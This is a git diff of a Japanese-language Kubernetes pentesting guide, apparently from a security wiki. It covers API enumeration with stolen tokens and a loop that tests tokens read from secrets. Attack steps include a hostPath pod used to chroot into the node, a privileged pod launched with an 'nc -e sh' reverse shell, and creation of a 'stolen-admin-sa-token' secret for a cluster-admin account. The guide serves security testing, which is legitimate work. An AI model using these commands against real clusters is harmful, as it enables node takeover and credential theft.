特権サービスアカウントトークンを含むポッドです。特権サービスアカウントトークンは、シークレットのリスト作成、ポッドの作成などの特権タスクを実行する権限を持つトークンです。 +_**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc. ## RBAC -**RBAC**が何であるか知らない場合は、**このセクションを読んでください**。 +If you don't know what is **RBAC**, **read this section**. ## GUI Applications -- **k9s**: ターミナルからKubernetesクラスターを列挙するGUIです。コマンドは[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/)で確認してください。`:namespace`と入力し、すべてを選択してから、すべての名前空間でリソースを検索します。 -- **k8slens**: 無料トライアル日数を提供しています: [https://k8slens.dev/](https://k8slens.dev/) +- **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` and select all to then search resources in all the namespaces. +- **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/) ## Enumeration CheatSheet -K8s環境を列挙するには、次のものが必要です: +In order to enumerate a K8s environment you need a couple of this: -- **有効な認証トークン**。前のセクションでユーザートークンとサービスアカウントトークンの検索場所を見ました。 -- **Kubernetes APIのアドレス**(_**https://host:port**_)。これは通常、環境変数やkube設定ファイルに見つかります。 -- **オプション**: **APIサーバーを検証するためのca.crt**。これはトークンが見つかるのと同じ場所にあります。これはAPIサーバー証明書を検証するのに役立ちますが、`kubectl`で`--insecure-skip-tls-verify`を使用するか、`curl`で`-k`を使用すれば必要ありません。 +- A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token. +- The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file. +- **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this. -これらの詳細を使用して、**Kubernetesを列挙**できます。何らかの理由で**API**が**インターネット**を通じて**アクセス可能**であれば、その情報をダウンロードしてホストからプラットフォームを列挙できます。 +With those details you can **enumerate kubernetes**. If the **API** for some reason is **accessible** through the **Internet**, you can just download that info and enumerate the platform from your host. -しかし、通常**APIサーバーは内部ネットワーク内にあります**。したがって、侵害されたマシンを通じて**トンネルを作成**して自分のマシンからアクセスする必要があります。または、**kubectl**バイナリを**アップロード**するか、**`curl/wget/anything`**を使用してAPIサーバーに生のHTTPリクエストを実行できます。 +However, usually the **API server is inside an internal network**, therefore you will need to **create a tunnel** through the compromised machine to access it from your machine, or you can **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, or use **`curl/wget/anything`** to perform raw HTTP requests to the API server. ### Differences between `list` and `get` verbs -**`get`**権限を持つと、特定の資産の情報にアクセスできます(_`kubectl`の`describe`オプション_)。 +With **`get`** permissions you can access information of specific assets (_`describe` option in `kubectl`_) API: ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` -**`list`** 権限がある場合、資産の種類をリストするための API リクエストを実行することが許可されます (_`kubectl` の `get` オプション_): +**`list`** 権限がある場合、ある種の asset を一覧表示する API リクエストを実行できます(_`kubectl` の `get` オプション_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments #In all namespaces GET /apis/apps/v1/deployments ``` -**`watch`** 権限がある場合、資産を監視するためのAPIリクエストを実行することが許可されます: +`watch` 権限がある場合、assets を監視するための API requests を実行できます: ``` GET /apis/apps/v1/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true @@ -91,14 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] ``` -彼らは、Deploymentが変更されるたび(または新しいものが作成されるとき)に、完全なマニフェストを返すストリーミング接続を開きます。 +それらは、変更があるたびに(または新しいものが作成されたときに)Deployment の完全な manifest を返す streaming connection を開きます。 > [!CAUTION] -> 次の `kubectl` コマンドは、オブジェクトをリストする方法を示しています。データにアクセスしたい場合は、`get` の代わりに `describe` を使用する必要があります。 +> 以下の `kubectl` commands は、オブジェクトの list の方法だけを示しています。データに access したい場合は、`get` ではなく `describe` を使う必要があります。 -### curlを使用する +### Using curl -ポッド内から、いくつかの環境変数を使用できます: +pod の内部からは、いくつかの env variables を使えます: ```bash export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS} export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount @@ -109,23 +109,23 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] -> デフォルトでは、ポッドは **kube-api サーバー** に **`kubernetes.default.svc`** というドメイン名で **アクセス** でき、**`/etc/resolv.config`** で kube ネットワークを見ることができます。ここでは、kubernetes DNS サーバーのアドレスが見つかります(同じ範囲の ".1" が kube-api エンドポイントです)。 +> デフォルトでは、pod はドメイン名 **`kubernetes.default.svc`** で **kube-api server** に**アクセス**でき、また **`/etc/resolv.config`** 内で kube network を確認できます。ここで kubernetes DNS server のアドレスが見つかります(同じレンジの ".1" は kube-api endpoint です)。 ### Using kubectl -トークンと API サーバーのアドレスを持っている場合、ここに示されているように kubectl または curl を使用してアクセスします: +トークンと API server のアドレスがあれば、ここに示すように kubectl または curl を使ってアクセスできます: -デフォルトでは、APISERVER は `https://` スキーマで通信しています。 +デフォルトでは、APISERVER は `https://` schema で通信しています ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` -> URLに`https://`がない場合、Bad Requestのようなエラーが発生する可能性があります。 +> url に `https://` がない場合、Bad Request のような Error が出ることがあります。 -[**公式のkubectlチートシートはこちら**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/)で見つけることができます。以下のセクションの目的は、アクセスを取得した新しいK8sを列挙し理解するためのさまざまなオプションを順序立てて提示することです。 +[**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) を見ることができます。以下のセクションの目的は、アクセスを得た新しい K8s を列挙し理解するためのさまざまな options を、順序立てて示すことです。 -`kubectl`が送信するHTTPリクエストを見つけるには、パラメータ`-v=8`を使用できます。 +`kubectl` が送信する HTTP request を見つけるには、parameter `-v=8` を使用できます -#### MitM kubectl - kubectlのプロキシ化 +#### MitM kubectl - Proxyfying kubectl ```bash # Launch burp # Set proxy @@ -134,7 +134,7 @@ export HTTPS_PROXY=http://localhost:8080 # Launch kubectl kubectl get namespace --insecure-skip-tls-verify=true ``` -### 現在の構成 +### 現在の設定 {{#tabs }} {{#tab name="Kubectl" }} @@ -150,7 +150,7 @@ kubectl config set-context --current --namespace= {{#endtab }} {{#endtabs }} -もしユーザーの資格情報を盗むことができたら、次のような方法で**ローカルに設定**できます: +ユーザーの認証情報をいくつか盗めたなら、次のような方法で**ローカルに設定**できます: ```bash kubectl config set-credentials USER_NAME \ --auth-provider=oidc \ @@ -161,9 +161,9 @@ kubectl config set-credentials USER_NAME \ --auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \ --auth-provider-arg=id-token=( your id_token ) ``` -### サポートされているリソースの取得 +### サポートされているリソースを取得 -この情報を使用すると、リストできるすべてのサービスを知ることができます。 +この情報があれば、列挙できるすべてのサービスがわかります {{#tabs }} {{#tab name="kubectl" }} @@ -174,7 +174,22 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace {{#endtab }} {{#endtabs }} -### 現在の権限を取得 +### 確認すべき Object metadata + +object を読める場合は、テーブル出力や `describe` だけに頼らず、完全な YAML または JSON を export してください。最も有用な security context は、さまざまな resource type に共通して存在する汎用の object fields に含まれていることが多いです: +```bash +kubectl get pod -n -o yaml +kubectl get deploy -n -o json | jq '.metadata, .spec, .status' +kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase' +``` +- `metadata.uid`, `name`, `namespace`, `apiVersion` and `kind` は、正確なオブジェクトを特定し、異なる namespace や API group にある同名オブジェクトとの混同を避けます。 +- `metadata.labels` と selectors は、Services、Deployments、ReplicaSets、Pods、NetworkPolicies、automation を接続します。selectors をたどることは、Service の実際の backend pods を特定する最速の方法であることが多いです。 +- `metadata.annotations` には、ingress の挙動、cloud load balancer の設定、GitOps や Helm のメタデータ、policy exemptions、service mesh の設定などの運用コンテキストが漏れることがあります。ここに secrets を含めるべきではありませんが、実際の cluster では有用な手がかりが露出していることがよくあります。 +- `metadata.ownerReferences` は controller の系譜を示します。Pod が Deployment に owned された ReplicaSet に owned されている場合、Pod だけを変更または削除しても通常は原因を解決できません。 +- `metadata.finalizers` と `metadata.deletionTimestamp` は、削除処理で止まっている resource の理由を説明し、cleanup controllers や persistence/disruption の仕掛けを明らかにすることがあります。 +- `status`、Events、conditions からは、node placement、pod IPs、image IDs、failure messages、scheduling issues、admission denials、controller の進行状況を把握できます。これらは有用な手がかりですが、誰が action を実行したかを証明するには、audit logs が依然として必要です。 + +### Get Current Privileges {{#tabs }} {{#tab name="kubectl" }} @@ -197,21 +212,21 @@ kurl -i -s -k -X $'POST' \ {{#endtab }} {{#endtabs }} -特権を確認する別の方法は、ツールを使用することです: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* +権限を確認する別の方法は、ツール [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* を使うことです。 -**Kubernetes RBAC** について詳しく学ぶには、以下を参照してください: +**Kubernetes RBAC** については、以下で詳しく学べます: {{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}} -**どの特権を持っているかが分かったら、** 次のページを確認して **それらを悪用して特権を昇格できるかどうかを判断してください:** +**自分がどの権限を持っているか** が分かったら、次のページを確認して、**それらを悪用して** 権限昇格できるかを判断してください: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} -### 他の役割を取得する +### 他の roles を取得する {{#tabs }} {{#tab name="kubectl" }} @@ -229,9 +244,9 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu {{#endtab }} {{#endtabs }} -### 名前空間の取得 +### ネームスペースの取得 -Kubernetesは、同じ物理クラスターに基づく**複数の仮想クラスター**をサポートしています。これらの仮想クラスターは**名前空間**と呼ばれます。 +Kubernetes は、同じ物理クラスタを基盤とする **複数の仮想クラスタ** をサポートしています。これらの仮想クラスタは **namespaces** と呼ばれます。 {{#tabs }} {{#tab name="kubectl" }} @@ -266,13 +281,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/ {{#endtab }} {{#endtabs }} -シークレットを読み取ることができれば、次の行を使用して各トークンに関連する権限を取得できます: +secretsを読める場合、以下の行を使用して各tokenに関連する権限を取得できます: ```bash for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done ``` -### サービスアカウントの取得 +### Service Account の取得 -このページの冒頭で説明したように、**ポッドが実行されると通常サービスアカウントが割り当てられます**。したがって、サービスアカウント、権限、およびそれらが実行されている場所をリストアップすることで、ユーザーが権限を昇格させることができるかもしれません。 +このページの冒頭で説明したように、**pod が実行されると、通常は service account が割り当てられます**。したがって、service account、その権限、そしてそれらがどこで実行されているかを列挙することで、ユーザーが権限を昇格できる可能性があります。 {{#tabs }} {{#tab name="kubectl" }} @@ -288,9 +303,9 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts {{#endtab }} {{#endtabs }} -### デプロイメントの取得 +### Deployments を取得 -デプロイメントは、**実行**する必要がある**コンポーネント**を指定します。 +Deployments は、ステートレスなアプリケーション workload の desired state を指定します。これは ReplicaSets を作成し、その ReplicaSets が Pods を作成します。 {{#tabs }} {{#tab name="kubectl" }} @@ -302,14 +317,33 @@ k get deployments -n custnamespace {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/api/v1/namespaces//deployments/ +kurl -v https://$APISERVER/apis/apps/v1/namespaces//deployments/ ``` {{#endtab }} {{#endtabs }} -### Podsを取得する +### StatefulSets を取得する -Podsは実際に**実行**される**コンテナ**です。 +StatefulSets は、安定した名前、順序付きのロールアウト動作、そして多くの場合レプリカごとの persistent volume を必要とする Pods を管理します。 + +{{#tabs }} +{{#tab name="kubectl" }} +```bash +k get statefulsets +k get statefulsets -n custnamespace +``` +{{#endtab }} + +{{#tab name="API" }} +```bash +kurl -v https://$APISERVER/apis/apps/v1/namespaces//statefulsets/ +``` +{{#endtab }} +{{#endtabs }} + +### Podsを取得 + +Podsは実際に**実行**される**containers**です。 {{#tabs }} {{#tab name="kubectl" }} @@ -328,7 +362,7 @@ kurl -v https://$APISERVER/api/v1/namespaces//pods/ ### サービスの取得 -Kubernetes **サービス**は、**特定のポートとIPでサービスを公開するために使用されます**(これは、実際にサービスを提供しているポッドへのロードバランサーとして機能します)。これは、攻撃を試みるために他のサービスを見つける場所を知るのに興味深いです。 +Kubernetes **services** は、**特定のポートと IP で service を公開**するために使われます(これは、実際に service を提供している pods に対する load balancer として動作します)。これは、攻撃を試みるべき他の services をどこで見つけられるかを知るうえで重要です。 {{#tabs }} {{#tab name="kubectl" }} @@ -340,14 +374,14 @@ k get services -n custnamespace {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/api/v1/namespaces/default/services/ +kurl -v https://$APISERVER/api/v1/namespaces//services/ ``` {{#endtab }} {{#endtabs }} -### ノードの取得 +### ノードを取得 -**クラスター内に構成されているすべてのノードを取得します**。 +クラスタ内に設定されているすべての**nodes**を取得します。 {{#tabs }} {{#tab name="kubectl" }} @@ -365,7 +399,7 @@ kurl -v https://$APISERVER/api/v1/nodes/ ### DaemonSetsの取得 -**DaemonSets**は、**特定のポッドがクラスタ内のすべてのノード(または選択されたノード)で実行されていることを保証**します。DaemonSetを削除すると、それによって管理されているポッドも削除されます。 +**DaemonSets** は、クラスタ内の**選択されたすべての node で特定の Pod が動作すること**を保証します。DaemonSet を削除すると、それによって管理されている Pod も削除されます。 {{#tabs }} {{#tab name="kubectl" }} @@ -376,32 +410,52 @@ k get daemonsets {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets +kurl -v https://$APISERVER/apis/apps/v1/namespaces//daemonsets ``` {{#endtab }} {{#endtabs }} -### Cronジョブを取得する +### ジョブの取得 -Cronジョブは、crontabのような構文を使用して、特定のアクションを実行するポッドの起動をスケジュールすることを可能にします。 +Jobs は完了するまで実行される Pods を作成します。これは一般的に migration、backup、batch work、単発の administrative task に使われます。 {{#tabs }} {{#tab name="kubectl" }} ```bash -k get cronjobs +k get jobs +k get jobs -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces//cronjobs +kurl -v https://$APISERVER/apis/batch/v1/namespaces//jobs ``` {{#endtab }} {{#endtabs }} -### configMapを取得する +### CronJobの取得 -configMapには常に多くの情報と、kubernetesで実行されるアプリに提供されるconfigfileが含まれています。通常、他の内部/外部サービスに接続し、検証するために使用される多くのパスワード、秘密、トークンを見つけることができます。 +CronJobは、crontabのようなスケジュールを使用して、タスク型実行のためにPodを起動するJobを作成します。 + +{{#tabs }} +{{#tab name="kubectl" }} +```bash +k get cronjobs +k get cronjobs -n custnamespace +``` +{{#endtab }} + +{{#tab name="API" }} +```bash +kurl -v https://$APISERVER/apis/batch/v1/namespaces//cronjobs +``` +{{#endtab }} +{{#endtabs }} + +### configMap を取得 + +configMap には常に多くの情報と、kubernetes 上で動作するアプリに提供される設定ファイルが含まれています。通常、他の internal/external service への接続や認証に使われる password、secrets、tokens を多く見つけることができます。 {{#tabs }} {{#tab name="kubectl" }} @@ -417,10 +471,10 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps {{#endtab }} {{#endtabs }} -### ネットワークポリシー / Ciliumネットワークポリシーの取得 +### Network Policies / Cilium Network Policies の取得 {{#tabs }} -{{#tab name="最初のタブ" }} +{{#tab name="First Tab" }} ```bash k get networkpolicies k get CiliumNetworkPolicies @@ -429,7 +483,7 @@ k get CiliumClusterwideNetworkPolicies {{#endtab }} {{#endtabs }} -### すべてを取得 / すべて +### すべて取得 / All {{#tabs }} {{#tab name="kubectl" }} @@ -439,7 +493,7 @@ k get all {{#endtab }} {{#endtabs }} -### **Helmによって管理されているすべてのリソースを取得する** +### **helmによって管理されているすべてのリソースを取得する** {{#tabs }} {{#tab name="kubectl" }} @@ -449,7 +503,7 @@ k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm' {{#endtab }} {{#endtabs }} -### **Podの消費量を取得する** +### **Podの消費量を取得** {{#tabs }} {{#tab name="kubectl" }} @@ -459,23 +513,23 @@ k top pod --all-namespaces {{#endtab }} {{#endtabs }} -## kubectlを使用せずにクラスターと対話する +## kubectlを使わずにclusterとやり取りする -KubernetesのコントロールプレーンがRESTful APIを公開しているため、HTTPリクエストを手動で作成し、**curl**や**wget**などの他のツールで送信できます。 +Kubernetes control planeがREST-ful APIを公開しているため、HTTPリクエストを手作業で作成し、**curl** や **wget** などの他のツールで送信できます。 -### ポッドからの脱出 +### podからの脱出 -新しいポッドを作成できる場合、そこからノードに脱出できるかもしれません。そのためには、yamlファイルを使用して新しいポッドを作成し、作成したポッドに切り替え、次にノードのシステムにchrootします。既存のポッドをyamlファイルの参照として使用できます。既存のイメージやパスを表示しているためです。 +新しいpodを作成できる場合、そこからnodeへ脱出できるかもしれません。そのためには、yamlファイルを使って新しいpodを作成し、作成したpodへ移動してから、nodeのsystemへchrootする必要があります。既存のpodは、既存のimagesやpathesを表示しているため、yamlファイルの参照として利用できます。 ```bash kubectl get pod [-n ] -o yaml ``` -> 特定のノードにポッドを作成する必要がある場合は、次のコマンドを使用してノードのラベルを取得できます。 +> 特定のnodeにpodを作成する必要がある場合は、nodeのlabelを取得するために次のコマンドを使えます > > `k get nodes --show-labels` > -> 一般的に、kubernetes.io/hostname と node-role.kubernetes.io/master は選択するのに適したラベルです。 +> 一般的に、kubernetes.io/hostname と node-role.kubernetes.io/master は選択に使うのに適したlabelです。 -その後、attack.yaml ファイルを作成します。 +その後、attack.yamlファイルを作成します ```yaml apiVersion: v1 kind: Pod @@ -505,23 +559,25 @@ restartPolicy: Never # or using # node-role.kubernetes.io/master: "" ``` -その後、ポッドを作成します。 +[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba) + +その後、podを作成します ```bash kubectl apply -f attacker.yaml [-n ] ``` -次のように作成したポッドに切り替えることができます。 +作成された pod には次のように切り替えられます ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` -そして最終的に、ノードのシステムにchrootします。 +そして最後に、node の system に chroot します ```bash chroot /root /bin/bash ``` -情報は次のから取得されました: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) +Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) -### 特権ポッドの作成 +### privileged pod の作成 -対応するyamlファイルは次のとおりです: +対応する yaml ファイルは以下のとおりです: ```yaml apiVersion: v1 kind: Pod @@ -549,7 +605,7 @@ volumes: hostPath: path: / ``` -ポッドをcurlで作成する: +curlでpodを作成する: ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -565,9 +621,9 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Podを削除する +### podを削除する -curlを使用してPodを削除する: +curlでpodを削除する: ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -584,7 +640,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" ``` -### サービスアカウントの作成 +### Service Account を作成する ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -602,7 +658,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### サービスアカウントの削除 +### Service Account を削除する ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -619,7 +675,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" ``` -### ロールを作成する +### Roleを作成する ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -637,7 +693,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### ロールの削除 +### Role を削除する ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -655,7 +711,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME" ``` -### ロールバインディングの作成 +### Role Bindingを作成する ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -672,7 +728,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### ロールバインディングの削除 +### Role Binding を削除する ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -690,7 +746,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME" ``` -### シークレットの削除 +### SecretをDeleteする ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -707,7 +763,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### シークレットの削除 +### Secretを削除する ```bash CONTROL_PLANE_HOST="" TOKEN="" diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md index a96749113..52dc909ac 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md @@ -4,60 +4,81 @@ ## PodSecurityContext -[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) +[**docsより:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) -Podのセキュリティコンテキストを指定する際、いくつかの属性を使用できます。防御的なセキュリティの観点から考慮すべきことは次のとおりです: +Pod の security context を指定する際には、いくつかの属性を使えます。防御的なセキュリティの観点では、以下を考慮すべきです。 -- **runASNonRoot**を**True**に設定する -- **runAsUser**を設定する -- 可能であれば、**seLinuxOptions**や**seccompProfile**を指定して**permissions**を**制限**することを検討する -- **runAsGroup**や**supplementaryGroups**を介して**privilege** **group**アクセスを与えない +- **runASNonRoot** を **True** にする +- **runAsUser** を設定する +- 可能であれば、**seLinuxOptions** と **seccompProfile** を指定して **permissions** を **制限** する +- **runAsGroup** と **supplementaryGroups** 経由で **privilege** な **group** アクセスを与えない -| パラメータ | 説明 | -|

fsGroup
integer

|

ポッド内のすべてのコンテナに適用される特別な補助グループ。いくつかのボリュームタイプでは、Kubeletがそのボリュームの所有権を変更できる:
1. 所有するGIDはFSGroupになります
2. setgidビットが設定されます(ボリューム内で作成された新しいファイルはFSGroupが所有します)
3. パーミッションビットはrw-rw----とORされます。未設定の場合、Kubeletはボリュームの所有権とパーミッションを変更しません。

| +| Parameter | Description | +|

fsGroup
integer

|

Pod 内の すべての containers に適用される特別な supplemental group。volume の種類によっては、Kubelet がその volume の 所有権を Pod 所有に変更できる:
1. 所有 GID は FSGroup になる
2. setgid ビットが設定される (volume 内で新規作成されたファイルの所有者は FSGroup になる)
3. パーミッションビットは rw-rw---- と OR される。未設定の場合、Kubelet はどの volume の所有権やパーミッションも変更しない

| -|

fsGroupChangePolicy
string

| ボリュームの**所有権とパーミッションを変更する**動作を定義します。 | -|

runAsGroup
integer

| コンテナプロセスのエントリポイントを実行するための**GID**。未設定の場合はランタイムのデフォルトを使用します。 | -|

runAsNonRoot
boolean

| コンテナが非rootユーザーとして実行される必要があることを示します。trueの場合、Kubeletはランタイムでイメージを検証し、UID 0(root)として実行されないことを確認し、そうであればコンテナの起動に失敗します。 | -|

runAsUser
integer

| コンテナプロセスのエントリポイントを実行するための**UID**。未指定の場合は、イメージメタデータで指定されたユーザーがデフォルトになります。 | -|

seLinuxOptions
SELinuxOptions
More info about seLinux

| **すべてのコンテナに適用されるSELinuxコンテキスト**。未指定の場合、コンテナランタイムは各コンテナに対してランダムなSELinuxコンテキストを割り当てます。 | -|

seccompProfile
SeccompProfile
More info about Seccomp

| このポッド内のコンテナが使用する**seccompオプション**。 | -|

supplementalGroups
integer array

| コンテナの主要GIDに加えて、**各コンテナで実行される最初のプロセスに適用されるグループのリスト**。 | -|

sysctls
Sysctl array
More info about sysctls

| Sysctlsは、ポッドに使用される**名前空間付きsysctlsのリスト**を保持します。サポートされていないsysctlsを持つポッド(コンテナランタイムによって)は起動に失敗する可能性があります。 | -|

windowsOptions
WindowsSecurityContextOptions

| すべてのコンテナに適用されるWindows特有の設定。未指定の場合、コンテナのSecurityContext内のオプションが使用されます。 | +|

fsGroupChangePolicy
string

| Pod 内で公開される前に、volume の **所有権と権限の変更** をどう行うかを定義する。 | +|

runAsGroup
integer

| container process の entrypoint を実行するための **GID**。未設定の場合は runtime のデフォルトを使う。SecurityContext でも設定可能。 | +|

runAsNonRoot
boolean

| container が non-root user として実行されなければならないことを示す。true の場合、Kubelet は runtime 時に image を検証し、UID 0 (root) で実行されないことを確認する。もしそうなら container の起動に失敗する。 | +|

runAsUser
integer

| container process の entrypoint を実行するための **UID**。未指定の場合、image metadata で指定された user がデフォルトになる。 | +|

seLinuxOptions
SELinuxOptions
More info about seLinux

| すべての containers に適用される **SELinux context**。未指定の場合、container runtime は各 container に対してランダムな SELinux context を割り当てる。 | +|

seccompProfile
SeccompProfile
More info about Seccomp

| この pod で containers が使用する **seccomp options**。 | +|

supplementalGroups
integer array

| container の primary GID に加えて、各 container で実行される最初の process に適用される **groups** のリスト。 | +|

sysctls
Sysctl array
More info about sysctls

